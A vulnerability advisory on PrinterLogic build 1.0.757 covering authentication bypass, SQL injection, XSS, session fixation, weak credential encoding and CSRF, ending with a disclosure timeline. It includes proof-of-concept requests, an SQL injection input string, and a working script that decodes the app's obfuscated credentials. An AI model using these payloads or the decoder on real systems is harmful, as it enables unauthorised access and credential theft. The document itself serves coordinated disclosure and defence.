PrinterLogic Build 1.0.757 XSS / SQL Injection / Authentication Bypass

Credit: Nadeem Salim
Risk: Medium
Local: No
Remote: Yes

PrinterLogic SaaS, multiple vulnerabilities =========================================================== PrinterLogic's Enterprise Print Management software allows IT professionals to simplify printer driver management and empower end users. -- Background ---------------------------------- The following findings were identified by performing both dynamic testing of the PrinterLogic SaaS platform and code analysis of the source code contained in the virtual appliance available for download from the PrinterLogic website (Build 1.0.757: July 29th, 2022). Credit ----------------------------------- The vulnerabilities were discovered by Eldar Marcussen, Gareth Phillips, Jeff Thomas, Luke Symons, Nadeem Salim, Stephen Bradshaw, Tony Wu and Yianna Paris. OVE-20230524-0001 Authentication bypass =========================================================== As the application is not using a central framework for handling authentication and authorization the individual PHP files must all implement authentication and authorization checks in a consistent same way. However, this is not the case and many of the administrative files are missing authentication checks completely, allowing unauthenticated access to administrative scripts via their direct URLs. For example: **&company_name_wildcard=*&job_title_wildcard=*&manager_name_wildcard=*&department_name_wildcard=*&printer_name_wildcard=*&folder_path=Test&show_tcpip_printers=1&show_usb_printers=1&show_folder_accumulate=0 * It also appears possible for an unauthenticated attacker to alter the idp configuration of the SaaS service, however due to lack of integration this was not tested further, the following request contains no authentication or session details, but did receive a `{ "message":"success"}` json response: ``` PUT /api/authn/save-idp-settings HTTP/2 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Dnt: 1 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers Content-Type: application/json Content-Length: 2 {} ``` OVE-20230524-0002 SQL injection =========================================================== Overall the application does not use parameterized queries when retrieving data, but rather uses a custom DAO framework which utilises several escaping functions that attempt to prevent SQL injection using various string handling functions. These are either custom functions - a practice that is not recommended, or rely on mysqli_real_escape_string(), which has a number of flaws, resulting in conditions where SQL injection is possible. For example, the following function that tries to avoid injection via the backtick character is flawed as it does not also handle escape sequences: ```php public function escapeMySQLSchemaName($identifier) { return "`" . str_replace("`", "``", $identifier) . "`"; } ``` If an attacker supplied the string ```abc\`,injected``` then function would return ```abc\``,injected``` where the first backtick is escaped and the second terminates an existing backtick defined string. In some cases, input does not appear to be filtered or validated at all. For example, the offset parameter in the admin/query/reports.php script mentioned in the authentication bypass issue, We can simulate this by combining the functions from the different files as follows and see that the offset value is successfully injected, however due to how MySQL handles group by expressions it would be difficult to find an injection payload that doesn't break the SQL syntax and has a valid group by statement. ```php // print_stat_dao.php gets called from overview_total_per_week() function per_week_columns($time_offset) { // Use UTC for the "WHERE" clause (since printed, $start and $stop are in UTC), but local time for everything else $local_printed = "TIMESTAMPADD(SECOND, $time_offset, printed)"; return "WEEK($local_printed, 2) AS current_week, YEAR($local_printed) AS current_year, $local_printed AS local_printed "; } function per_week_group_by($time_offset) { $adjusted_printed = "TIMESTAMPADD(SECOND, $time_offset, printed)"; return "WEEK($adjusted_printed, 2)"; } function per_week_order_by($time_offset) { $adjusted_printed = "TIMESTAMPADD(SECOND, $time_offset, printed)"; return "YEAR($adjusted_printed), WEEK($adjusted_printed, 2)"; } function per_year_group_by($time_offset) { $adjusted_printed = "TIMESTAMPADD(SECOND, $time_offset, printed)"; return "YEAR($adjusted_printed)"; } // print_stat_dao.php helper function // Date allows invalid data in time_offset // is_valid_date_time does not, but offset isn't used there (FTW!) function create_start_stop_dates($start_date, $start_time, $stop_date, $stop_time, $time_offset) { // Convert dates to UTC $start = $start_date . " " . $start_time; $stop = $stop_date . " " . $stop_time; if (!is_valid_date_time($start_date, $start_time)) { echo "Invalid start date/time: $start"; return false; } if (!is_valid_date_time($stop_date, $stop_time)) { echo "Invalid end date/time: $stop"; return false; } if (strtotime($start) > strtotime($stop)) { echo "Start date/time is later than end date/time: $start > $stop"; return false; } $start = date("Y-m-d H:i:00", strtotime($start_date . " " . $start_time) - $time_offset); $stop = date("Y-m-d H:i:59", strtotime($stop_date . " " . $stop_time) - $time_offset); return array($start, $stop); } // Helper function requires specific formats for start/stop date/time function is_valid_date_time($date, $time) { $format = "Y/m/d h:i A"; $date = $date . " " . $time; $current = DateTime::createFromFormat($format, $date); if (!$current) return false; return $current && $current->format($format) == $date; } // Simulate user supplied data and flow for overview_total_per_week() in print_stat_dao.php // This gets called from ../../helpers/reports.php for the following report type: // case "Overview - By Week": // 101 array_push($ids, // 102 $print_stat_dao->overview_total_per_week($start_date, $start_time, $stop_date, $stop_time, $time_offset)); $time_offset="600, injected)) -- "; $start_date="2021/01/01"; $start_time="11:25 AM"; $stop_date="2021/01/01"; $stop_time="11:55 AM"; $dates = create_start_stop_dates($start_date, $start_time, $stop_date, $stop_time, $time_offset); //var_dump($dates); $start = $dates[0]; $stop = $dates[1]; $per_week_columns = per_week_columns($time_offset); $per_year_group_by = per_year_group_by($time_offset); $per_week_group_by = per_week_group_by($time_offset); $per_week_order_by = per_week_order_by($time_offset); $permissions_filtered_print_stats_where_clause = "1=1"; $query = " SELECT SUM(mono_duplex_count + mono_simplex_count + color_duplex_count + color_simplex_count) as total_pages, SUM(mono_duplex_cost + mono_simplex_cost + color_duplex_cost + color_simplex_cost) AS total_cost, $per_week_columns FROM ppp_print_stats WHERE (printed BETWEEN '$start' AND '$stop') and (job_type <> 4) and ($permissions_filtered_print_stats_where_clause) GROUP BY $per_year_group_by, $per_week_group_by ORDER BY $per_week_order_by"; echo "$query\n;\n\n\n"; ``` OVE-20230524-0003 Cross site scripting =========================================================== Several instances of cross site scripting were identified in the application: * (q parameter) * (action parameter) * (name parameter) These could be used to attack application users or hijack an administrative account by leaking the users session cookies via the /admin/cookies URL. OVE-20230524-0004 Session fixation =========================================================== The /admin/query/verify-login.php script does not issue a new session identifier after login. An attacker could prime a known session id for a user via xss, a phishing or watering hole attack and then later access the application using the known session id to bypass authentication. The following scripts also appears to grant full/partial session control based on url parameters: * Http/Api/Controllers/PrinterController.php: $sessionId = $request->input('sessionId'); * console_release/xerox/xerox_session.php: $xerox_session_vo->id = requestint('session', 0); * console_release/xerox/xerox_session.php: $xerox_session_vo->session_id = requeststr('session_id', ''); * console_release/xerox/xerox_session.php: $xerox_session_vo->id = requestint('session', 0); * state/query/console_release.php: $_SESSION['toshibaSessionId'] = requeststr('session_id', ''); OVE-20230524-0005 Password in URL =========================================================== It is possible to login as admin via: * This could lead to passwords leaking to third parties via referrer headers, browser history, server logs, proxy logs, URL shortening services, etc. Although these passwords are encoded in the URL, they are trivial to decode to plaintext as evidenced elsewhere in the report OVE-20230524-0006 Plaintext passwords in logs =========================================================== The application was found to log request data which may include passwords and, in some cases, explicitly log plaintext passwords. This includes, but is not limited to: * /console_release/hp/install_popup_load.php ```php $XRX_USERNAME = substr(base64_decode(requeststr('username', '')), 0, -30); $XRX_PASSWORD = Printer::unObfuscate(requeststr('password', '')); Log::debug('hp, 1.txt, ' . requeststr('username', '') . ', ' . $XRX_USERNAME . ', ' . requeststr('password', '') . ', ' . $XRX_PASSWORD); ``` OVE-20230524-0007 Weak password encryption/encoding in use =========================================================== The application appears to be storing passwords using unsalted sha1 hashing, and transmitting authentication data using a custom double base64 encoding, as seen in the URL in password issue. lib/dao/user_dao.php line: 154 ```php function make_user($username,$mypass,$first,$last,$type,$myco,$email) { //this function is very similar to the automatically created new_XXX function of daos... //I've converted your function just so you still have it. $securepass = sha1($mypass); $vo=new user_vo(); $vo->str_username=$username; $vo->str_my_password=$securepass; $vo->str_user_status="Active"; $vo->str_first_name=$first; $vo->str_last_name=$last; $vo->int_user_type=$type; $vo->account_id=$myco; $vo->str_email_address=$emai l; return $this->new_user($vo); } ``` The application uses a double base64 encoding to obfuscate usernames and passwords, with a length field to avoid reading padding data. However, they can easily be recovered with a simple script: ```php function decodeCredentials($encodedStr) { $firstDecode = base64_decode($encodedStr); if (empty($firstDecode)) { return ''; }//end if $encodedParts = explode('~', $firstDecode); if (count($encodedParts) < 2) { return ''; }//end if // length of the unencoded credential $len = hexdec($encodedParts[0]); $decodedCredential = base64_decode($encodedParts[1]); if (empty($decodedCredential)) { return ''; }//end if //extract the unencoded credential from the padding $credential = substr($decodedCredential, 0, $len); return urldecode($credential); } // outputs 4ENRUb3PCo4asWjWoprFAE echo decodeCredentials("MHgxNn5ORVZPVWxWaU0xQkRielJoYzFkcVYyOXdja1pCUlJONldrRmNhVjROUW5wSUh5STVaMUZERFdSZlJHTUNTUjVEY0VKZkx3SXhCRkF5SURaRU"); ``` OVE-20230524-0008 Insufficient CSRF protection =========================================================== The application does not enforce CSRF checks for the majority of its forms, even for the requests that have a value present in a header, cookie or form, testing found that changing or removing the value had no actual impact on the success of the operation: ``` POST /admin/query/reports.php HTTP/2 Host: Cookie: PHPSESSID=ubbd04d1j65555mv2t8p07eqam; XSRF-TOKEN=eyJpdiI6IisrWTlaY0ZTWUJSRUlUWU5FLzJ5Rnc9PSIsInZhbHVlIjoiSHlybzZGME02NGFSRGVWcTlQVTA2amgxWmVtN3VESzVxVm1kUlZQcFd3N1gxa09CWW1xNE43elA2SDh4dlZKMk1MMHhEd1RDT0NJNGhIWWZ5SzkyUUQzd3oyS1ppQWc0dGdkb1V1a0M2NjRJcWR0TUpLMjI3a1JQS2MwVTVrclciLCJtYWMiOiJmNjQ3NmNkMzQyNDIzZDAyMWYxNWI3ZTZiMjRjMjdkMGFkOWRhMGYxODNhZWQ4NjIyMTY2ODk4ZmVmNDA3ZjE0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9nS1poYmZXRmlXTHJyTDhHY3lxL1E9PSIsInZhbHVlIjoiMW1lZVN3a0lSYUlWNHFiWjJjWHMwZ1VtSXgzeWZqT3BsTVJXNEo1cHkvNVRmSE5MRFdyK3FuaFpOR3RBR0tJdDhLVjk3TGloc0h5YjNtcHgzNjEvMWl1WElxYmd3YTV2aDI3dTFSY1ZjaUx0ZXRJRFN0ZjRXbE81WisxK25WZC8iLCJtYWMiOiI5OGZlMGFkYmFmY2IxYjk3NWI3OGJkNzgyMjM5NjRmYzczYTdhMjVlYTU2Njg3MWIzOWJjNDM0YmRmYzExZmRiIiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/xml, text/xml, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Csrf-Token: THIS IS NOT A VALID TOKEN X-Requested-With: XMLHttpRequest Content-Length: 596 Origin: Dnt: 1 Referer: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers action=start_database_query&export=0&report_type=Overview+-+B%26W%2FColor&sort_by=&sort_order=&page=&start_date=2023/01/11&stop_date=2023/01/11&start_time=12%3A00+AM&stop_time=11%3A59+PM&time_offset=1&order=&user_name=&job_title=&computer_name=&manager_name=&department_name=&printer_name=&printer_type=printer_type_tcpip&job_type=job_type_scan&user_name_wildcard=*&company_name_wildcard=*&job_title_wildcard=*&manager_name_wildcard=*&department_name_wildcard=*&printer_name_wildcard=*&folder_path=Test&show_tcpip_printers=1&show_usb_printers=1&show_folder_accumulate=0 ``` OVE-20230524-0009 Insufficient anti virus protection =========================================================== Printer drivers are manually uploaded by admins and assigned to printers. The PrinterLogic application allows drivers containing known malicious code to be uploaded. OVE-20230524-0010 Insufficient authorization checks =========================================================== While the application supports several user levels, most of the individual PHP scripts does not implement granular access control based on roles, but simply rely on an authentication check (if present) like this: ```php if(!GLOBALS::$login->is_logged_in()) { respond_expired(); die(); } ``` This is distinctive from pages that implements a role based check, such as /admin/design/management_accountts_users.php ```php $user_permissions = UserPermissions::create_for_current_user(); $pagePermission = $user_permissions->get_options_value_general(Constant::ToolsMenuUsers); if (!$pagePermission) { respond_html_failure(UserPermissions::INSUFFICIENT_PERMISSIONS_MESSAGE, ""); return; } ``` OVE-20230524-0011 Administrative user email enumeration =========================================================== The forgot password function will confirm if an email address exists or not and can be used to enumerate users/emails. OVE-20230524-0012 Arbitrary content inclusion via iframe =========================================================== The following URL will include an arbitrary URL in an iframe, this could be used to redirect the application using a frame busting technique, execute JavaScript or initiate file downloads from an untrusted source. * OVE-20230524-0013 Remote network scanning (XSPA)/DoS =========================================================== There are several php files that will initiate user-controlled connections to third party IP/port combinations over protocol such as LDAP, IMAP, SMTP, telnet, etc. Telnet scanning (and possibly others) runs until the connection closes so could lead to DoS condition by consuming all web server workers * *,.com&ldaps=0&ldap_port=8080 * OVE-20230524-0014 Insufficient signature validation =========================================================== Printer drivers are manually uploaded by admins and assigned to printers. The PrinterLogic application allows drivers to be uploaded that are not cryptographically signed with valid certificates from a trusted authority. OVE-20230524-0015 Device impersonation =========================================================== In at least one area of the PrinterLogic system, authorised devices are identified by machine name. It is possible to rename a host and have this impact another authorised devices records in at least one place. OVE-20230524-0016 Oauth security bypass =========================================================== PrinterLogic clients need an authorization code to authenticate and being authorised devices. These are sent by the Printer Installer Client desktop application, which receives an access token as a response. This token is then used for all authenticated requests from the desktop application. When signing into the web application, there is an option to sign in as the Current User. This sends encrypted information to the server using the siddata parameter. As symmetric encryption is used, and the key is easily obtainable from the client-side applications, it is possible to decrypt, modify and re-encrypt this data. OVE-20230524-0017 Cookie returned in response body =========================================================== The URL /admin/cookies returns the cookie values in the page body. This breaks the HTTPOnly cookie security control used to prevent JavaScript from accessing the cookie values during a session hijacking attack. OVE-20230524-0018 Known vulnerable components in use =========================================================== The use of third-party JavaScript libraries can introduce a range of DOM-based vulnerabilities, including some that can be used to hijack user accounts like DOM-XSS. 4 instances of this issue were identified, at the following locations: * /admin/map_bg/map_upload_bg.php * /assets/scripts/common-bb625e26df.js * /assets/scripts/common-fcc1983a7e.js * /assets/scripts/jquery-40c7c38831.form.js Timeline =========================================================== 2023-02-01 - Vulnerability details shared with CERT/CC 2023-02-09 - CERT/CC reached out to vendor 2023-02-10 - Reached out to vendor directly advicing them of the CERT/CC submission 2023-03-14 - Vendor responded 2023-03-14 - Updated CERT/CC on vendors response 2023-02-14 - CERT/CC reached out to vendor again 2023-02-15 - Responded to vendor, again directing them to CERT/CC for vulnerability details and disclosure coordination 2023-02-17 - Vendor responded 2023-02-17 - Responded to vendor, again directing them to CERT/CC for vulnerability details and disclosure coordination 2023-03-17 - Updated CERT/CC on vendors response 2023-03-28 - Requested status update from CERT/CC 2023-04-06 - Requested status update from CERT/CC 2023-04-06 - CERT/CC adviced vendor has responded to emails, but not joined the VINCE platform 2023-04-11 - Reached out to vendor directly on behalf of CERT/CC 2023-04-11 - Vendor responded 2023-04-14 - Requested update from CERT/CC 2023-04-21 - Vendor joins VINCE 2023-04-21 - Vendor requests extension to disclosure timeline 2023-04-22 - Vendor advices they cannot locate the vulnerability details 2023-04-25 - Offer vendor 30 day timeline extention, provide copy of draft advisory and request CVE identifiers from CERT/CC 2023-04-26 - CERT/CC confirms vulnerability details availability to vendor, advices to request CVEs directly from MITRE 2023-04-26 - Vendor confirms receipt of vulnerability details 2023-04-27 - Submit CVE request to MITRE 2023-05-09 - Vendor shares vulnerability details with their product team 2023-05-17 - Request update from MITRE 2023-05-18 - Advice vendor and CERT/CC that advisory will use OVE identifiers if CVE identifiers have not been issued prior to disclosure 2023-05-18 - Vendor request additional disclosure delay in order to triage issues 2023-05-24 - Vendor request additional disclosure delay in order to triage issues 2023-05-24 - Vendor disputes issues OVE-2023240006 (legacy code), OVE-2023240008 (legacy code), OVE-2023240010 (researchers didn't specify all the places this needs to be fixed), OVE-2023240014 (won't fix). 2023-05-25 - Public disclosure ????-??-?? - Patch available

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